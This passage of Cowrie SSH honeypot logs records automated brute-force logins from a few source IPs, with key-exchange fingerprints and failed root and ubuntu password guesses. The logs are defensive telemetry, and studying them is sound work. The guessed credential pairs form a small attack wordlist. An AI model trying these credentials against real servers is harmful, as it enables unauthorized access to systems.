acha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:37.664498Z","src_ip":"60.165.124.241","session":"29050ec72639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssw0rd","message":"login attempt [root/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:38.434439Z","src_ip":"60.165.124.241","session":"29050ec72639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:39.696826Z","src_ip":"60.165.124.241","session":"29050ec72639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42870,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6904cbfd89","protocol":"ssh","message":"New connection: 60.165.124.241:42870 (10.17.0.5:22) [session: ab6904cbfd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:39.914026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:39.919049Z","src_ip":"60.165.124.241","session":"ab6904cbfd89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:40.156373Z","src_ip":"60.165.124.241","session":"ab6904cbfd89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme@123","message":"login attempt [root/changeme@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:40.903522Z","src_ip":"60.165.124.241","session":"ab6904cbfd89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:42.152876Z","src_ip":"60.165.124.241","session":"ab6904cbfd89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05a4ee4b02c","protocol":"ssh","message":"New connection: 60.165.124.241:45776 (10.17.0.5:22) [session: e05a4ee4b02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:42.393257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:42.397998Z","src_ip":"60.165.124.241","session":"e05a4ee4b02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:42.647340Z","src_ip":"60.165.124.241","session":"e05a4ee4b02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"allah123","message":"login attempt [root/allah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:43.372412Z","src_ip":"60.165.124.241","session":"e05a4ee4b02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:44.624963Z","src_ip":"60.165.124.241","session":"e05a4ee4b02c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8cbbcd61aa5","protocol":"ssh","message":"New connection: 60.165.124.241:48636 (10.17.0.5:22) [session: c8cbbcd61aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:44.888608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:44.893478Z","src_ip":"60.165.124.241","session":"c8cbbcd61aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:45.144278Z","src_ip":"60.165.124.241","session":"c8cbbcd61aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos8svm","message":"login attempt [root/centos8svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:45.949297Z","src_ip":"60.165.124.241","session":"c8cbbcd61aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:47.218211Z","src_ip":"60.165.124.241","session":"c8cbbcd61aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cb889b7b701","protocol":"ssh","message":"New connection: 60.165.124.241:51710 (10.17.0.5:22) [session: 4cb889b7b701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:48.458133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:48.462782Z","src_ip":"60.165.124.241","session":"4cb889b7b701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46860,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a857eea131f","protocol":"ssh","message":"New connection: 2.57.122.208:46860 (159.203.135.109:22) [session: 4a857eea131f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:49.252703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:49.336699Z","src_ip":"2.57.122.208","session":"4a857eea131f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:49.426708Z","src_ip":"2.57.122.208","session":"4a857eea131f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:49.436908Z","src_ip":"60.165.124.241","session":"4cb889b7b701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:50.470741Z","src_ip":"2.57.122.208","session":"4a857eea131f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12!","message":"login attempt [root/Qwerty12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:51.549638Z","src_ip":"60.165.124.241","session":"4cb889b7b701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:51.742594Z","src_ip":"2.57.122.208","session":"4a857eea131f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:53.437199Z","src_ip":"60.165.124.241","session":"4cb889b7b701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58842,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f6cecb5e18","protocol":"ssh","message":"New connection: 60.165.124.241:58842 (10.17.0.5:22) [session: 46f6cecb5e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:53.725954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:53.730782Z","src_ip":"60.165.124.241","session":"46f6cecb5e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:54.004839Z","src_ip":"60.165.124.241","session":"46f6cecb5e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r!Q@W#E$R","message":"login attempt [root/1q2w3e4r!Q@W#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:57.183470Z","src_ip":"60.165.124.241","session":"46f6cecb5e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:59.119664Z","src_ip":"60.165.124.241","session":"46f6cecb5e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37230,"dst_ip":"10.17.0.5","dst_port":22,"session":"c677ec0c0dbb","protocol":"ssh","message":"New connection: 60.165.124.241:37230 (10.17.0.5:22) [session: c677ec0c0dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:59.350987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:59.356358Z","src_ip":"60.165.124.241","session":"c677ec0c0dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:00.318195Z","src_ip":"60.165.124.241","session":"c677ec0c0dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wuzhou.123456","message":"login attempt [root/wuzhou.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:01.089594Z","src_ip":"60.165.124.241","session":"c677ec0c0dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:02.347534Z","src_ip":"60.165.124.241","session":"c677ec0c0dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40870,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f863800551a","protocol":"ssh","message":"New connection: 60.165.124.241:40870 (10.17.0.5:22) [session: 5f863800551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:03.602971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:03.609211Z","src_ip":"60.165.124.241","session":"5f863800551a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:03.867522Z","src_ip":"60.165.124.241","session":"5f863800551a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312300","message":"login attempt [root/12312300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:05.370621Z","src_ip":"60.165.124.241","session":"5f863800551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:06.631367Z","src_ip":"60.165.124.241","session":"5f863800551a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45680,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df11b6ba2ec","protocol":"ssh","message":"New connection: 60.165.124.241:45680 (10.17.0.5:22) [session: 7df11b6ba2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:06.883321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:06.889531Z","src_ip":"60.165.124.241","session":"7df11b6ba2ec","protocol":"ssh"}
